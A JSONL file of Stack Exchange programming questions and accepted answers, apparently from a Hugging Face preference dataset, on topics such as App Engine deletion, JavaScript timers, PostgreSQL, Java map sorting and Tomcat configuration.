{"id": "hf_3b4e99edd7d2", "question": "<p>I would like to wipe out all data for a specific kind in Google App Engine. What is the\nbest way to do this?\nI wrote a delete script (hack), but since there is so much data is\ntimeout's out after a few hundred records. </p>\n", "question_body": "", "answer": "Presumably your hack was something like this:\n```\n```\n# Deleting all messages older than \"earliest_date\"\nq = db.GqlQuery(\"SELECT * FROM Message WHERE create_date < :1\", earliest_date)\nresults = q.fetch(1000)\n\nwhile results:\n    db.delete(results)\n    results = q.fetch(1000, len(results))\n```\n```\nAs you say, if there's sufficient data, you're going to hit the request timeout before it gets through all the records. You'd have to re-invoke this request multiple times from outside to ensure all the data was erased; easy enough to do, but hardly ideal.\nThe admin console doesn't seem to offer any help, as (from my own experience with it), it seems to only allow entities of a given type to be listed and then deleted on a page-by-page basis.\nWhen testing, I've had to purge my database on startup to get rid of existing data.\nI would infer from this that Google operates on the principle that disk is cheap, and so data is typically orphaned (indexes to redundant data replaced), rather than deleted. Given there's a fixed amount of data available to each app at the moment (0.5 GB), that's not much help for non-Google App Engine users.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.909602"}
{"id": "hf_b57adec557a3", "question": "<p>How would I go about writing some code to allow access to a Java class in my webapp from the command line.</p>\n\n<p>E.g. I have a java class with command line interface, that can runs code in the context of the webapp, with access to the DB etc. I want to log on the machine hosting my WARred app in tomcat and be able to interact with it </p>\n\n<p>Where should i start looking ?</p>\n\n<p>Thanks </p>\n", "question_body": "", "answer": "A suggestion:\nYour command line interface class should accept an InputStream as it's input and provide an OutputStream (it can't hardcode output to System.out and input to System.in) that it's output will be written to.  Then you'll have to write a server class that listens for connections on a certain port.  When a connection is made the server would take the InputStream from the connection and give it to the command line class which would provide the OutputStream that data written to will be passed to the client that made the connection.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.950113"}
{"id": "hf_4c3e5c55afe4", "question": "<p>I have some code in a javascript file that needs to send queries back to the server. The question is, how do I find the url for the script that I am in, so I can build a proper request url for ajax.</p>\n\n<p>I.e., the same script is included on <code>/</code>, <code>/help</code>, <code>/whatever</code>, and so on, while it will always need to request from <code>/data.json</code>. Additionally, the same site is run on different servers, where the <code>/</code>-folder might be placed differently. I have means to resolve the relative url where I include the Javascript (ez-publish template), but not within the javascript file itself.</p>\n\n<p>Are there small scripts that will work on all browsers made for this?</p>\n", "question_body": "", "answer": "```\ndocument.location.href\n```\nwill give you the current URL, which you can then manipulate using JavaScript's string functions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.986506"}
{"id": "hf_9f742cd447ca", "question": "<p>Is there a version of memset() which sets a value that is larger than 1 byte (char)? For example, let's say we have a memset32() function, so using it we can do the following:</p>\n\n<pre><code>int32_t array[10];\nmemset32(array, 0xDEADBEEF, sizeof(array));\n</code></pre>\n\n<p>This will set the value 0xDEADBEEF in all the elements of array. Currently it seems to me this can only be done with a loop.</p>\n\n<p>Specifically, I am interested in a 64 bit version of memset(). Know anything like that?</p>\n", "question_body": "", "answer": "```\nwmemset(3)\n```\nis the wide (16-bit) version of memset. I think that's the closest you're going to get in C, without a loop.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:34.011328"}
{"id": "hf_ef6eef115208", "question": "<p>On a company that I've worked, me and my colleagues, implemented a tailored document distribution system on top of XSL-FO.</p>\n\n<p>My task was to get the script to deliver the documents and configure the CUPS print server and the Fax server, so I never had the time to get my hands dirty on XSL-FO.</p>\n\n<p>I'm thinking of implementing something in the region that was made there but I'll need some templates to work with while testing.</p>\n\n<p>Where can I find some good tutorials on XSL-FO, since the fop process I've mastered already?</p>\n", "question_body": "", "answer": "This might not be exactly what you need, but if you just want to have some XSL-FO test templates, you can use\nthis\ntransformation in Word to generate XSL-FO.\nThe book that I used to learn is from O'Reilly (\nXSL-FO\n), because frankly there are very little resources on the subject.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:34.060396"}
{"id": "hf_5d62a569200a", "question": "<p>Could you recommend me a way to place a coundown timer on ASP.NET page?</p>\n\n<p>Now I use this code:</p>\n\n<p><strong>Default.aspx</strong></p>\n\n<pre><code>&lt;asp:ScriptManager ID=\"ScriptManager1\" runat=\"server\"&gt;\n&lt;/asp:ScriptManager&gt;\n&lt;asp:UpdatePanel ID=\"UpdatePanel1\" runat=\"server\"&gt;\n&lt;ContentTemplate&gt;\n    &lt;asp:Label ID=\"Label1\" runat=\"server\"&gt;60&lt;/asp:Label&gt;\n    &lt;asp:Timer ID=\"Timer1\" runat=\"server\" Interval=\"1000\" \n        ontick=\"Timer1_Tick\"&gt;\n    &lt;/asp:Timer&gt;\n&lt;/ContentTemplate&gt;\n&lt;/asp:UpdatePanel&gt;\n</code></pre>\n\n<p><strong>Default.aspx.cs</strong></p>\n\n<pre><code>protected void Timer1_Tick(object sender, EventArgs e)\n{\n    int seconds = int.Parse(Label1.Text);\n    if (seconds &gt; 0)\n        Label1.Text = (seconds - 1).ToString();\n    else\n        Timer1.Enabled = false;\n}\n</code></pre>\n\n<p>But it is traffic expensive. I would prefer pure client-side method. Is it possible in ASP.NET? </p>\n", "question_body": "", "answer": "You might add something like this in your .aspx page\n```\n```\n<form name=\"counter\"><input type=\"text\" size=\"8\" \nname=\"d2\"></form> \n\n<script> \n<!-- \n// \n var milisec=0 \n var seconds=30 \n document.counter.d2.value='30' \n\nfunction display(){ \n if (milisec<=0){ \n    milisec=9 \n    seconds-=1 \n } \n if (seconds<=-1){ \n    milisec=0 \n    seconds+=1 \n } \n else \n    milisec-=1 \n    document.counter.d2.value=seconds+\".\"+milisec \n    setTimeout(\"display()\",100) \n} \ndisplay() \n--> \n</script>\n```\n```\nFound\nhere", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:34.205276"}
{"id": "hf_fedba7d69d9d", "question": "<p>I found this guide for using the flash parameters, thought it might be useful to post here, since Flash CS3 lacks a usage example for reading these parameters.</p>\n\n<p>See answers for the link</p>\n", "question_body": "", "answer": "```\n```\nvar paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters;\n```\n```\nThe entire article is at:\nhttp://blogs.adobe.com/pdehaan/2006/07/using_flashvars_with_actionscr.html\nImportant note! This will only work in the main class. If you'll try to load the parameters in a subclass you'll get nothing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:34.229741"}
{"id": "hf_802516cb0fe8", "question": "<p>I am using <code>setInterval(fname, 10000);</code> to call a function every 10 seconds in JavaScript. Is it possible to stop calling it on some event? </p>\n\n<p>I want the user to be able to stop the repeated refresh of data.</p>\n", "question_body": "", "answer": "```\nsetInterval()\n```\nreturns an interval ID, which you can pass to\n```\nclearInterval()\n```\n:\n```\n```\nvar refreshIntervalId = setInterval(fname, 10000);\n\n/* later */\nclearInterval(refreshIntervalId);\n```\n```\nSee the docs for\n```\nsetInterval()\n```\nand\n```\nclearInterval()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:34.292083"}
{"id": "hf_641524a86282", "question": "<p>Is there a built-in method in Python to get an array of all a class' instance variables? For example, if I have this code:</p>\n\n<pre><code>class hi:\n  def __init__(self):\n    self.ii = \"foo\"\n    self.kk = \"bar\"\n</code></pre>\n\n<p>Is there a way for me to do this:</p>\n\n<pre><code>&gt;&gt;&gt; mystery_method(hi)\n[\"ii\", \"kk\"]\n</code></pre>\n\n<p>Edit: I originally had asked for class variables erroneously.</p>\n", "question_body": "", "answer": "Every object has a\n```\n__dict__\n```\nvariable containing all the variables and its values in it.\nTry this\n```\n```\n>>> hi_obj = hi()\n>>> hi_obj.__dict__.keys()\n```\n```\nOutput\n```\n```\ndict_keys(['ii', 'kk'])\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:34.317717"}
{"id": "hf_93e9007a1fbe", "question": "<p>Is it possible to run an external process from Perl, capture its stderr, stdout AND the process exit code?</p>\n\n<p>I seem to be able to do combinations of these, e.g. use backticks to get stdout, IPC::Open3 to capture outputs, and system() to get exit codes.</p>\n\n<p>How do you capture stderr, stdout, and the exit code all at once?</p>\n", "question_body": "", "answer": "If you reread the documentation for IPC::Open3, you'll see a note that you should call\nwaitpid\nto reap the child process. Once you do this, the status should be available in\n```\n$?\n```\n. The exit value is\n```\n$? >> 8\n```\n. See\n```\n$?\n```\nin perldoc perlvar\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:34.343391"}
{"id": "hf_e20cd6122f44", "question": "<p>What's the best javascript framework for drawing (lines, curves whatnot) on images?</p>\n", "question_body": "", "answer": "Processing\n```\n```\nvar p = Processing(CanvasElement);\np.size(100, 100);\np.background(0);\np.fill(255);\np.ellipse(50, 50, 50, 50);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:34.441434"}
{"id": "hf_b0e36efa0f8e", "question": "<p>This question is about the difference between ReadWrite and NonStrictReadWrite cache concurrency strategies for NHibernate's second level cache.</p>\n\n<p>As I understand it, the difference between these two strategies is relevant when you have a distributed <em>replicated</em> cache - nonstrict won't guarantee that one cache has the exact same value as another cache, while strict read/write should - assuming the cache provider does the appropriate distributed locking. </p>\n\n<p>The part I don't understand is how the strict vs nonstrict distinction is relevant when you have a single cache, or a distributed <em>partitioned</em> (non replicated) cache. Can it be relevant? It seems to me that in non replicated scenarios, the timestamps cache will ensure that stale results are not served.  If it can be relevant, I would like to see an example.</p>\n", "question_body": "", "answer": "What you assume is right, in a single target/thread environment there's little difference.  However if you look at the cache providers there is a bit going on even in a multi-threaded scenario.\nHow an object is re-cached from it's modified state is different in the non-strict.  For example, if your object is much heftier to reload but you'd like it to after an update instead of footing the next user with the bill, then you'll see different performance with strict vs non-strict.  For example: non-strict simply dumps an object from cache after an update is performed...price is paid for the fetch on the next access instead of a post-update event handler.  In the strict model, the re-cache is taken care of automatically.  A similar thing happens with inserts, non-strict will do nothing where strict will go behind and load the newly inserted object into cache.\nIn non-strict you also have the possibility of a dirty read, since the cache isn't locked at the time of the read you would not see the result of another thread's change to the item.  In strict the cache key for that item would lock and you would be held up but see the absolute latest result.\nSo, even in a single target environment, if there is a large amount of concurrent reads/edits on objects then you have a chance to see data that isn't really accurate.\nThis of course becomes a problem when a save is performed and an edit screen is loading:  the person thinking they're editing the latest version of the object really isn't, and they're in for a nasty surprise when they try to save the edits to the stale data they loaded.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:34.480775"}
{"id": "hf_6aff13afffe2", "question": "<p>We are setting up a new SharePoint for which we don't have a valid SSL certificate yet. I would like to call the Lists web service on it to retrieve some meta data about the setup. However, when I try to do this, I get the exception:</p>\n\n<blockquote>\n  <p>The underlying connection was closed: Could not establish trust relationship for the SSL/TLS secure channel.</p>\n</blockquote>\n\n<p>The nested exception contains the error message:</p>\n\n<blockquote>\n  <p>The remote certificate is invalid according to the validation procedure.</p>\n</blockquote>\n\n<p>This is correct since we are using a temporary certificate.</p>\n\n<p>My question is: how can I tell the .Net web service client (<em>SoapHttpClientProtocol</em>) to ignore these errors? </p>\n", "question_body": "", "answer": "The approach I used when faced with this problem was to add the signer of the temporary certificate to the trusted authorities list on the computer in question.\nI normally do testing with certificates created with CACERT, and adding them to my trusted authorities list worked swimmingly.\nDoing it this way means you don't have to add any custom code to your application and it properly simulates what will happen when your application is deployed. As such, I think this is a superior solution to turning off the check programmatically.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:34.513966"}
{"id": "hf_2267d9421ecc", "question": "<p>Normally I use <code>imagecreatefromjpeg()</code> and then <code>getimagesize()</code>, but with Firefox 3 I need to go round this different. So now im using <code>imagecreatefromstring()</code>, but how do I retreive the image dimensions now?</p>\n", "question_body": "", "answer": "```\nimagesx()\n```\nand\n```\nimagesy()\n```\nfunctions seem to work with images made with\n```\nimagecreatefromstring()\n```\n, too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:34.605914"}
{"id": "hf_e158e22f0533", "question": "<p>What is the best way (performance wise) to paginate results in SQL Server 2000, 2005, 2008, 2012 if you also want to get the total number of results (before paginating)?</p>\n", "question_body": "", "answer": "You didn't specify the language nor which driver you are using. Therefore I'm describing it abstractly.\nCreate a scrollable resultset / dataset. This required a primary on the table(s)\njump to the end\nrequest the row count\njump to the start of the page\nscroll through the rows until the end of the page", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:34.642805"}
{"id": "hf_08ab69a791d9", "question": "<p>I have a .NET 2.0 Windows Forms application. On this app there is a Form control with a Menu bar and a status bar. Also there's a ListView on this form.</p>\n\n<p>If I add a context menu to this form, the context menu will open when the user right clicks any part of the form, including the menu bar and the status bar. </p>\n\n<ol>\n<li><p>How can I prevent the context menu from opening when the click happened on the menu bar / status bar? I want it to open only when clicking the \"gray area\" of the form.</p></li>\n<li><p>If the click happened above a control on this form (for example, on the ListView), how can I identify this? I'd like to know if the user right clicked above the gray area or above the ListView, so I can enable/disable some menu items based on this.</p></li>\n</ol>\n", "question_body": "", "answer": "I found the answer:\n```\n```\nPoint clientPos = this.PointToClient(Form.MousePosition);\nControl control = this.GetChildAtPoint(clientPos);\n```\n```\nThis should give the underlying control that was clicked on the Form, or null if the click was on the gray area. So we just need to test for the type of the control on the Opening event of the context menu. If it's MenuStrip, ToolStrip or StatusStrip, do e.Cancel = true;.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:34.688420"}
{"id": "hf_a1bc3c6f4784", "question": "<p>Is it possible to test the use of a given layout using RSpec with Rails, for example I'd like a matcher that does the following:</p>\n\n<pre><code>response.should use_layout('my_layout_name')\n</code></pre>\n\n<p>I found a use_layout matcher when Googling but it doesn't work as neither the response or controller seem to have a layout property that matcher was looking for.</p>\n", "question_body": "", "answer": "I found an example of\nhow to write a\n```\nuse_layout\n```\nmatcher\nthat will do just that.  Here's the code in case that link goes away:\n```\n```\n# in spec_helper.rb\n\nclass UseLayout\n   def initialize(expected)\n     @expected = 'layouts/' + expected\n   end\n   def matches?(controller)\n     @actual = controller.layout\n     #@actual.equal?(@expected)\n     @actual == @expected\n   end\n   def failure_message\n     return \"use_layout expected #{@expected.inspect}, got # \n{@actual.inspect}\", @expected, @actual\n   end\n   def negeative_failure_message\n     return \"use_layout expected #{@expected.inspect} not to equal # \n{@actual.inspect}\", @expected, @actual\n   end\nend\n\ndef use_layout(expected)\n   UseLayout.new(expected)\nend\n\n# in controller spec\n   response.should use_layout(\"application\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:34.745079"}
{"id": "hf_4b70a3acd088", "question": "<p><em>This is a shameless information gathering exercise for my own book.</em></p>\n\n<p>One of the talks I give in the community is an introduction to web site vulnerabilities. Usually during the talk I can see at least two members of the audience go very pale; and this is basic stuff, Cross Site Scripting, SQL Injection, Information Leakage, Cross Site Form Requests and so on.</p>\n\n<p>So, if you can think back to being one, as a beginning web developer (be it ASP.NET or not) what do you feel would be useful information about web security and how to develop securely? I will already be covering the <a href=\"http://www.owasp.org/index.php/OWASP_Top_Ten_Project\" rel=\"nofollow noreferrer\">OWASP Top Ten</a></p>\n\n<p>(And yes this means stackoverflow will be in the acknowledgements list if someone comes up with something I haven't thought of yet!)</p>\n\n<p><em>It's all done now, and published, thank you all for your responses</em></p>\n", "question_body": "", "answer": "Defensive programming as an archetypal topic which covers all the particular attacks, as most, if not all, of them are caused by not thinking defensively enough.\nMake that subject the central column of the book . What would've served me well back then was knowing about techniques to never trust anything, not just one stop tips, like \"do not allow SQL comments or special chars in your input\".\nAnother interesting thing I'd love to have learned earlier is how to actually test for them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:34.767634"}
{"id": "hf_57fa5d5f7ef8", "question": "<p>I have an ASP.Net GridView control that I need to remain a fixed size whether there are 0 records or <em>n</em> records in the grid.  The header and the footer should remain in the same position regardless of the amount of data in the grid.  Obviously, I need to implement paging for larger datasets but how would I achieve this fixed sized GridView?  Ideally I would like this to be a reusable control.</p>\n", "question_body": "", "answer": "You may have to drop the headers and footers from the GridView altogether and add them to the page as separate table elements. You will need to make sure each table cell in the header and footer tables have fixed widths that correspond to the widths of the cells in your GridView.\nThe GridView itself would probably be nested in a DIV tag of a fixed height. Something like as follows.\n```\n```\n<table><tr><td style=\"width:100px\">Header 1</td><td style=\"width:200px\">Header 2</td></table>\n<div style=\"width:300px;height:400px\">\n<asp:GridView>.....</asp:GridView>\n</div>\n<table><tr><td style=\"width:100px\">Footer 1</td><td style=\"width:200px\">Footer 2</td></table>\n```\n```\nYou will probably have to tweak the margin and padding value to get it all to line up exactly though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:34.789409"}
{"id": "hf_c5556be8d509", "question": "<p>Using .Net what limitations (if any) are there in using the XmlSerializer?\nFor example, can you serialize Images to XML?</p>\n", "question_body": "", "answer": "Not sure if there's any limitation.. But there was a memory leak bug in XmlSerialization in .NET 1.1, you sort of had to create a cache serializer object to get around with this issue... In fact, Im not sure if this issue has been fixed in .net 2.0 or newer...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:34.822138"}
{"id": "hf_71422aaec194", "question": "<p>How do you perform the equivalent of Oracle's <code>DESCRIBE TABLE</code> in PostgreSQL (using the psql command)?</p>\n", "question_body": "", "answer": "The psql equivalent of\n```\nDESCRIBE TABLE\n```\nis\n```\n\\d table\n```\n.\nSee the psql portion of the PostgreSQL manual for more details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:34.858352"}
{"id": "hf_02380905fe9f", "question": "<p>I'm trying to find/make an algorithm to compute the intersection (a new filled object) of two arbitrary filled 2D objects. The objects are defined using either lines or cubic beziers and may have holes or self-intersect. I'm aware of several existing algorithms doing the same with polygons, <a href=\"http://www.complex-a5.ru/polyboolean/comp.html\" rel=\"noreferrer\">listed here</a>. However, I'd like to support beziers without subdividing them into polygons, and the output should have roughly the same control points as the input in areas where there are no intersections.</p>\n\n<p>This is for an interactive program to do some CSG but the clipping doesn't need to be real-time. I've searched for a while but haven't found good starting points.</p>\n", "question_body": "", "answer": "There are a number of academic research papers on doing bezier clipping:\nhttp://www.andrew.cmu.edu/user/sowen/abstracts/Se306.html\nhttp://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.61.6669\nhttp://www.dm.unibo.it/~casciola/html/research_rr.html\nI recommend the interval methods because as you describe, you don't have to divide down to polygons, and you can get guaranteed results as well as define your own arbitrary precision for the resultset.  For more information on interval rendering, you may also refer to\nhttp://www.sunfishstudio.com", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:34.899467"}
{"id": "hf_3de18780c284", "question": "<p>I am relatively new to Java, and often find that I need to sort a <code>Map&lt;Key, Value&gt;</code> on the values.</p>\n\n<p>Since the values are not unique, I find myself converting the <code>keySet</code> into an <code>array</code>, and sorting that array through <strong>array sort</strong> with a <strong>custom comparator</strong> that sorts on the value associated with the key.</p>\n\n<p>Is there an easier way?</p>\n", "question_body": "", "answer": "From\nhttp://www.programmersheaven.com/download/49349/download.aspx\n```\n```\nprivate static <K, V> Map<K, V> sortByValue(Map<K, V> map) {\n    List<Entry<K, V>> list = new LinkedList<>(map.entrySet());\n    Collections.sort(list, new Comparator<Object>() {\n        @SuppressWarnings(\"unchecked\")\n        public int compare(Object o1, Object o2) {\n            return ((Comparable<V>) ((Map.Entry<K, V>) (o1)).getValue()).compareTo(((Map.Entry<K, V>) (o2)).getValue());\n        }\n    });\n\n    Map<K, V> result = new LinkedHashMap<>();\n    for (Iterator<Entry<K, V>> it = list.iterator(); it.hasNext();) {\n        Map.Entry<K, V> entry = (Map.Entry<K, V>) it.next();\n        result.put(entry.getKey(), entry.getValue());\n    }\n\n    return result;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:34.922358"}
{"id": "hf_dbbdb1f4bfe0", "question": "<p>I populated a datagridview from a datatable. How do I read from the datagridview when the application is running?</p>\n", "question_body": "", "answer": "how did you populate it? is the DataSource something useful like a BindlingList? \nIf it is then something like:\n```\n```\nBindingSource bindingSource = this.dataGridView1.DataSource as BindingSource;\n//substitute your business object type for T \nT entity = bindingSource.Current as T;\n```\n```\nwould get you the entity bound to the row.\nOtherwise there is always the datagridview.Columns[n].Cells[n].Value but really I'd look at using the objects in the DataSource\nEdit: Ah... a datatable... righto:\n```\n```\nvar table = dataGridView1.DataSource as DataTable;\n\n foreach(DataRow row in table.Rows)\n {\n     foreach(DataColumn column in table.Columns)\n     {\n         Console.WriteLine(row[column]);\n     }\n }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:34.967853"}
{"id": "hf_66393461892c", "question": "<p>In which parts of a project writing unit tests is nearly or really impossible? Data access? ftp?</p>\n\n<p>If there is an answer to this question then %100 coverage is a myth, isn't it?</p>\n", "question_body": "", "answer": "Data access is possible because you can set up a test database.\nGenerally the 'untestable' stuff is FTP, email and so forth. However, they are generally framework classes which you can rely on and therefore do not need to test if you hide them behind an abstraction.\nAlso, 100% code coverage is not enough on its own.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:35.003708"}
{"id": "hf_bd16caa6d556", "question": "<p>Okay so im working on this php image upload system  but for some reason internet explorer turns my basepath into the same path, but with double backslashes instead of one; ie:</p>\n\n<pre><code>C:\\\\Documents and Settings\\\\kasper\\\\Bureaublad\\\\24.jpg\n</code></pre>\n\n<p>This needs to become C:\\Documents and Settings\\kasper\\Bureaublad\\24.jpg.</p>\n", "question_body": "", "answer": "Use the\n```\nstripslashes\n```\nfunction.\nThat should make them all single slashes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:35.027022"}
{"id": "hf_f6bea36cadec", "question": "<p>Is there a (cross-platform) way to get a C FILE* handle from a C++ std::fstream ?</p>\n\n<p>The reason I ask is because my C++ library accepts fstreams and in one particular function I'd like to use a C library that accepts a FILE*.</p>\n", "question_body": "", "answer": "Well, you can get the file descriptor - I forget whether the method is fd() or getfd().\nThe implementations I've used provide such methods, but the language standard doesn't require them, I believe - the standard shouldn't care whether your platform uses fd's for files.\nFrom that, you can use fdopen(fd, mode) to get a FILE*.\nHowever, I think that the mechanisms the standard requires for synching STDIN/cin, STDOUT/cout and STDERR/cerr don't have to be visible to you.  So if you're using both the fstream and FILE*, buffering may mess you up.\nAlso, if either the fstream OR the FILE closes, they'll probably close the underlying fd, so you need to make sure you flush BOTH before closing EITHER.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:35.052246"}
{"id": "hf_c3b005d3d13d", "question": "<p>In tomcat 6 i have a servlet running openbluedragon, everything compiles and servers up quik, with the exception of images, they really lag significantly.  Any suggestions optimization for image serving?</p>\n\n<p>Here is my server.xml:</p>\n\n<pre><code>    &lt;Service name=\"Catalina\"&gt;\n\n      &lt;Connector port=\"8009\" protocol=\"AJP/1.3\" /&gt;\n      &lt;Connector port=\"8080\" maxThreads=\"100\" protocol=\"HTTP/1.1\" connectionTimeout=\"20000\" /&gt;\n      &lt;Engine name=\"Standalone\" defaultHost=\"hostname.whatever\" jvmRoute=\"ajp13\"&gt;\n\n      &lt;Realm className=\"org.apache.catalina.realm.UserDatabaseRealm\" resourceName=\"UserDatabase\"/&gt;\n      &lt;Host name=\"hostname.whatever\"  appBase=\"webapps\" unpackWARs=\"true\" autoDeploy=\"true\" xmlValidation=\"false\" xmlNamespaceAware=\"false\"&gt;\n        ...context\n      &lt;/Host&gt;\n\n    &lt;/Engine&gt;\n  &lt;/Service&gt;\n</code></pre>\n", "question_body": "", "answer": "If you have the option, you could add a reverse proxy in advance of your application.  At work I have an Apache web server that receives all inbound HTTP connections.  Based on the URL, it either forwards the request to another server or serves up the content itself.  I've used this approach to accelerate serving up static content for a Trac site.  The ProxyPass and ProxyPassReverse directives are a good place to start looking if you want to go this route.\nAs a simple example, if you have a virtual directory called /images, Apache could serve up any request for something in that directory and forward everything else to your Tomcat instance.  The syntax is pretty comprehensive.  If there is any method at all to the way your static content is identified this is an approach that will work.\nApache isn't the only choice here.  I think all modern web servers include similar functionality.  If I was starting today I'd probably look at LigHTTPd instead, just because it does less.\nThere may even be caching reverse proxies that figure this out for you automatically.  I'm not familiar with any of them though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:35.155161"}
